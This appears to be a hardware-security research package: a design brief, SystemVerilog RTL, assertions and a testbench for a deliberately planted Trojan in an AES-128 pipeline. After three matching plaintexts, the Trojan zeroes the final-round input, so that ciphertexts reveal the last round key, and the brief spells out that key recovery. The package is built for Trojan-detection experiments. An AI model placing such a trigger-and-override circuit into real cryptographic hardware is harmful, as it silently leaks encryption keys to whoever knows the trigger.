// File: doc/BRIEF.md
# Plaintext-Triggered Round-State Override Unit

This unit is a deliberately planted fault path for hardware-security detection experiments. It sits between the ninth-round output register and the final-round logic of a pipelined AES-128 datapath. It watches every plaintext word that the pipeline accepts. It keeps a cumulative tally of how many accepted words equal one fixed 128-bit trigger value.

When the tally reaches its threshold (three by default), the unit arms itself. It then stays armed until reset. While armed, it replaces the state entering the final round with all zeros. The final round of AES applies SubBytes, ShiftRows and the last key addition, with no MixColumns. So every ciphertext produced while the unit is armed equals the round-10 key XOR the byte 0x63 repeated sixteen times. The last round key is therefore that ciphertext XOR 0x63 in each byte.

While the unit is not armed, the state passes straight through. Ciphertexts stay correct, and the unit can only be seen through its switching activity.

Top module: `pt_override_unit`

## Requirements
- R1: After a synchronous reset (`rst` high at a rising edge), `fired` is 0 and `st_out` equals `st_in`.
- R2: A plaintext counts as an occurrence only if all 128 bits equal the trigger value. A word that differs from the trigger in any single bit position is never counted.
- R3: Cycles with `pt_valid` low never count as occurrences, whatever `pt_data` holds.
- R4: Occurrences accumulate over any number of non-matching or idle cycles in between. `fired` stays 0 after the first and second occurrence. It rises at the rising edge that samples the third occurrence.
- R5: Once `fired` is 1, it stays 1 until reset, whatever plaintexts or valid patterns follow.
- R6: While `fired` is 0, `st_out` equals `st_in` combinationally, in the same cycle.
- R7: While `fired` is 1, `st_out` is all zeros, whatever `st_in` holds.
- R8: Reset clears both the occurrence tally and `fired`. Matching plaintexts presented while `rst` is high are not counted, and occurrences seen before a reset are forgotten.
- R9: `fired` rises only at an edge where a valid, matching plaintext is sampled. Non-matching traffic never arms the unit.

## Ports
| Port | Direction | Width | Description |
|---|---|---|---|
| clk | input | 1 | Pipeline clock |
| rst | input | 1 | Synchronous active-high reset |
| pt_valid | input | 1 | Plaintext word on `pt_data` is accepted this cycle |
| pt_data | input | 128 | Plaintext entering the pipeline |
| st_in | input | 128 | Ninth-round output state |
| st_out | output | 128 | State delivered to the final round |
| fired | output | 1 | Unit is armed and overriding the final-round state |

## Verification
The hardest condition to reach from the ports is a tally that has been partly filled and then either left alone or thrown away. The ports never show the tally, so its value can only be inferred from the cycle in which `fired` rises. The stimulus therefore first sweeps every single-bit corruption of the trigger. It then sends two true matches, separated by bubbles that carry the trigger and by non-matching traffic. It checks that exactly one more valid match arms the unit, which shows that none of the near-misses or bubbles were counted. A second pass resets the unit with two occurrences already tallied, holding a matching valid word during reset. It then shows that two further matches are not enough and a third is.

// File: rtl/ovr_pkg.sv
package ovr_pkg;
  localparam int DEF_DATA_W    = 128;
  localparam int DEF_HIT_LIMIT = 3;
  localparam int DEF_LANE_W    = 8;
  localparam logic [127:0] DEF_TRIGGER = 128'h3c5a_96e1_0f7b_d248_a5c3_1e69_f087_42bd;
endpackage

// File: rtl/ovr_lane_match.sv
// Full-width equality against a fixed pattern, split into lanes and reduced.
module ovr_lane_match #(
  parameter int DATA_W = 128,
  parameter int LANE_W = 8,
  parameter logic [DATA_W-1:0] PATTERN = '0
) (
  input  logic [DATA_W-1:0] word,
  output logic              hit
);
  localparam int LANES = DATA_W / LANE_W;

  logic [LANES-1:0] lane_eq;

  for (genvar l = 0; l < LANES; l++) begin : g_lane
    assign lane_eq[l] = (word[l*LANE_W +: LANE_W] == PATTERN[l*LANE_W +: LANE_W]);
  end

  assign hit = &lane_eq;
endmodule

// File: rtl/ovr_hit_counter.sv
// Saturating occurrence tally with a sticky armed latch.
module ovr_hit_counter #(
  parameter int HIT_LIMIT = 3
) (
  input  logic clk,
  input  logic rst,
  input  logic hit_valid,
  output logic fired
);
  localparam int CNT_W = (HIT_LIMIT < 2) ? 1 : $clog2(HIT_LIMIT + 1);
  localparam logic [CNT_W-1:0] LAST_HIT = CNT_W'(HIT_LIMIT - 1);
  localparam logic [CNT_W-1:0] SAT_VAL  = CNT_W'(HIT_LIMIT);

  logic [CNT_W-1:0] tally_q;

  always_ff @(posedge clk) begin
    if (rst) begin
      tally_q <= '0;
      fired   <= 1'b0;
    end else if (!fired && hit_valid) begin
      if (tally_q == LAST_HIT) begin
        fired <= 1'b1;
      end
      if (tally_q != SAT_VAL) begin
        tally_q <= tally_q + CNT_W'(1);
      end
    end
  end
endmodule

// File: rtl/ovr_state_gate.sv
// Passes the round state through, or replaces it once armed.
module ovr_state_gate #(
  parameter int DATA_W = 128,
  parameter logic [DATA_W-1:0] FORCE_VALUE = '0
) (
  input  logic              armed,
  input  logic [DATA_W-1:0] st_in,
  output logic [DATA_W-1:0] st_out
);
  always_comb begin
    if (armed) st_out = FORCE_VALUE;
    else       st_out = st_in;
  end
endmodule

// File: rtl/pt_override_unit.sv
module pt_override_unit
  import ovr_pkg::*;
#(
  parameter int DATA_W    = DEF_DATA_W,
  parameter int HIT_LIMIT = DEF_HIT_LIMIT,
  parameter int LANE_W    = DEF_LANE_W,
  parameter logic [DATA_W-1:0] TRIGGER = DEF_TRIGGER
) (
  input  logic              clk,
  input  logic              rst,
  input  logic              pt_valid,
  input  logic [DATA_W-1:0] pt_data,
  input  logic [DATA_W-1:0] st_in,
  output logic [DATA_W-1:0] st_out,
  output logic              fired
);
  logic pt_hit;
  logic hit_valid;

  ovr_lane_match #(
    .DATA_W (DATA_W),
    .LANE_W (LANE_W),
    .PATTERN(TRIGGER)
  ) u_match (
    .word(pt_data),
    .hit (pt_hit)
  );

  assign hit_valid = pt_valid & pt_hit;

  ovr_hit_counter #(
    .HIT_LIMIT(HIT_LIMIT)
  ) u_tally (
    .clk      (clk),
    .rst      (rst),
    .hit_valid(hit_valid),
    .fired    (fired)
  );

  ovr_state_gate #(
    .DATA_W     (DATA_W),
    .FORCE_VALUE('0)
  ) u_gate (
    .armed (fired),
    .st_in (st_in),
    .st_out(st_out)
  );
endmodule

// File: rtl/ovr_override_chk.sv
module ovr_override_chk #(
  parameter int DATA_W    = 128,
  parameter int HIT_LIMIT = 3,
  parameter logic [DATA_W-1:0] TRIGGER = '0
) (
  input logic              clk,
  input logic              rst,
  input logic              pt_valid,
  input logic [DATA_W-1:0] pt_data,
  input logic [DATA_W-1:0] st_in,
  input logic [DATA_W-1:0] st_out,
  input logic              fired
);
  int unsigned ref_hits;

  always_ff @(posedge clk) begin
    if (rst) begin
      ref_hits <= 0;
    end else if (pt_valid && (pt_data == TRIGGER) && (ref_hits < HIT_LIMIT)) begin
      ref_hits <= ref_hits + 1;
    end
  end

  // R5
  sticky_fired_chk: assert property (@(posedge clk) disable iff (rst)
    fired |=> fired);

  // R9
  fired_cause_chk: assert property (@(posedge clk) disable iff (rst)
    $rose(fired) |-> $past(pt_valid && (pt_data == TRIGGER)));

  // R6
  pass_through_chk: assert property (@(posedge clk) disable iff (rst)
    !fired |-> (st_out == st_in));

  // R7
  force_zero_chk: assert property (@(posedge clk) disable iff (rst)
    fired |-> (st_out == '0));

  // R4
  hit_tally_chk: assert property (@(posedge clk) disable iff (rst)
    fired == (ref_hits >= HIT_LIMIT));

  // R8
  reset_clear_chk: assert property (@(posedge clk) disable iff (rst)
    $past(rst) |-> !fired);
endmodule

bind pt_override_unit ovr_override_chk #(
  .DATA_W   (DATA_W),
  .HIT_LIMIT(HIT_LIMIT),
  .TRIGGER  (TRIGGER)
) u_override_chk (
  .clk     (clk),
  .rst     (rst),
  .pt_valid(pt_valid),
  .pt_data (pt_data),
  .st_in   (st_in),
  .st_out  (st_out),
  .fired   (fired)
);

// File: tb/pt_override_unit_bench.sv
`timescale 1ns/1ps
module pt_override_unit_bench;
  localparam logic [127:0] TRIG = 128'h3c5a_96e1_0f7b_d248_a5c3_1e69_f087_42bd;

  logic         clk = 1'b0;
  logic         rst = 1'b1;
  logic         pt_valid = 1'b0;
  logic [127:0] pt_data = '0;
  logic [127:0] st_in = '0;
  logic [127:0] st_out;
  logic         fired;

  int checks = 0;
  int fails  = 0;

  always #2.5 clk = ~clk;

  pt_override_unit #(
    .DATA_W   (128),
    .HIT_LIMIT(3),
    .LANE_W   (8),
    .TRIGGER  (TRIG)
  ) u_pt_override_unit (
    .clk     (clk),
    .rst     (rst),
    .pt_valid(pt_valid),
    .pt_data (pt_data),
    .st_in   (st_in),
    .st_out  (st_out),
    .fired   (fired)
  );

  task automatic chk(input bit ok, input string tag, input logic [127:0] act, input logic [127:0] exp);
    checks++;
    if (!ok) begin
      fails++;
      $display("FAIL %s actual=%h expected=%h", tag, act, exp);
    end
  endtask

  function automatic logic [127:0] rnd128();
    return {$urandom, $urandom, $urandom, $urandom};
  endfunction

  task automatic put(input bit v, input logic [127:0] d, input logic [127:0] s);
    @(negedge clk);
    pt_valid = v;
    pt_data  = d;
    st_in    = s;
    #1;
  endtask

  task automatic tick();
    @(posedge clk);
    #1;
  endtask

  initial begin
    #(5.0 * 200000);
    fails++;
    $display("FAIL watchdog actual=%h expected=%h", 128'd0, 128'd1);
    $display("TB_RESULT checks=%0d failures=%0d", checks, fails);
    $finish;
  end

  initial begin
    logic [127:0] s;
    // reset with a matching valid word held (R8: not counted)
    put(1'b1, TRIG, 128'h0);
    rst = 1'b1;
    tick(); tick();
    @(negedge clk);
    rst = 1'b0;
    pt_valid = 1'b0;
    s = rnd128();
    st_in = s;
    #1;
    chk(fired == 1'b0, "R1 fired after reset", {127'd0, fired}, 128'd0);
    chk(st_out == s, "R1 pass after reset", st_out, s);

    // R2: every single-bit corruption of the trigger is ignored
    for (int i = 0; i < 128; i++) begin
      s = rnd128();
      put(1'b1, TRIG ^ (128'd1 << i), s);
      chk(st_out == s, "R6 pass during near-miss", st_out, s);
      tick();
      chk(fired == 1'b0, "R2 near-miss counted", {127'd0, fired}, 128'd0);
    end

    // R4: first and second occurrences do not arm
    put(1'b1, TRIG, 128'h0); tick();
    chk(fired == 1'b0, "R4 armed after one", {127'd0, fired}, 128'd0);
    put(1'b0, 128'h0, 128'h0); tick();
    put(1'b1, TRIG, 128'h0); tick();
    chk(fired == 1'b0, "R4 armed after two", {127'd0, fired}, 128'd0);

    // R3: bubbles carrying the trigger
    for (int i = 0; i < 5; i++) begin
      put(1'b0, TRIG, rnd128()); tick();
      chk(fired == 1'b0, "R3 bubble counted", {127'd0, fired}, 128'd0);
    end

    // R9: non-matching valid traffic
    for (int i = 0; i < 10; i++) begin
      put(1'b1, rnd128(), rnd128()); tick();
      chk(fired == 1'b0, "R9 armed by non-match", {127'd0, fired}, 128'd0);
    end

    // R4: third occurrence arms at its sampling edge
    s = 128'hdead_beef_0123_4567_89ab_cdef_f00d_cafe;
    put(1'b1, TRIG, s);
    chk(fired == 1'b0, "R4 armed before third edge", {127'd0, fired}, 128'd0);
    chk(st_out == s, "R6 pass before third edge", st_out, s);
    tick();
    chk(fired == 1'b1, "R4 not armed at third edge", {127'd0, fired}, 128'd1);
    chk(st_out == '0, "R7 not forced at third edge", st_out, 128'd0);

    // R5 / R7: armed state is permanent and forces zero
    for (int i = 0; i < 40; i++) begin
      s = rnd128();
      put(i[0], (i % 3 == 0) ? TRIG : rnd128(), s);
      chk(st_out == '0, "R7 state not forced", st_out, 128'd0);
      tick();
      chk(fired == 1'b1, "R5 fired dropped", {127'd0, fired}, 128'd1);
    end
    put(1'b0, 128'h0, {128{1'b1}});
    chk(st_out == '0, "R7 all-ones state not forced", st_out, 128'd0);

    // R8: reset clears armed latch
    @(negedge clk); rst = 1'b1; pt_valid = 1'b1; pt_data = TRIG;
    tick();
    @(negedge clk); rst = 1'b0; pt_valid = 1'b0;
    #1;
    chk(fired == 1'b0, "R8 fired after reset", {127'd0, fired}, 128'd0);

    // R6: walking one on the state while idle
    for (int i = 0; i < 128; i++) begin
      put(1'b0, 128'h0, 128'd1 << i);
      chk(st_out == (128'd1 << i), "R6 walking one", st_out, 128'd1 << i);
    end

    // R8: tally cleared by reset mid-count
    put(1'b1, TRIG, 128'h0); tick();
    put(1'b1, TRIG, 128'h0); tick();
    chk(fired == 1'b0, "R8 pre-reset two", {127'd0, fired}, 128'd0);
    @(negedge clk); rst = 1'b1; pt_valid = 1'b1; pt_data = TRIG;
    tick();
    @(negedge clk); rst = 1'b0; pt_valid = 1'b0;
    put(1'b1, TRIG, 128'h0); tick();
    put(1'b0, 128'h0, 128'h0); tick();
    put(1'b1, TRIG, 128'h0); tick();
    chk(fired == 1'b0, "R8 tally survived reset", {127'd0, fired}, 128'd0);
    put(1'b1, TRIG, 128'h5); tick();
    chk(fired == 1'b1, "R8 third after reset", {127'd0, fired}, 128'd1);
    chk(st_out == '0, "R7 forced after rearm", st_out, 128'd0);

    $display("TB_RESULT checks=%0d failures=%0d", checks, fails);
    $finish;
  end
endmodule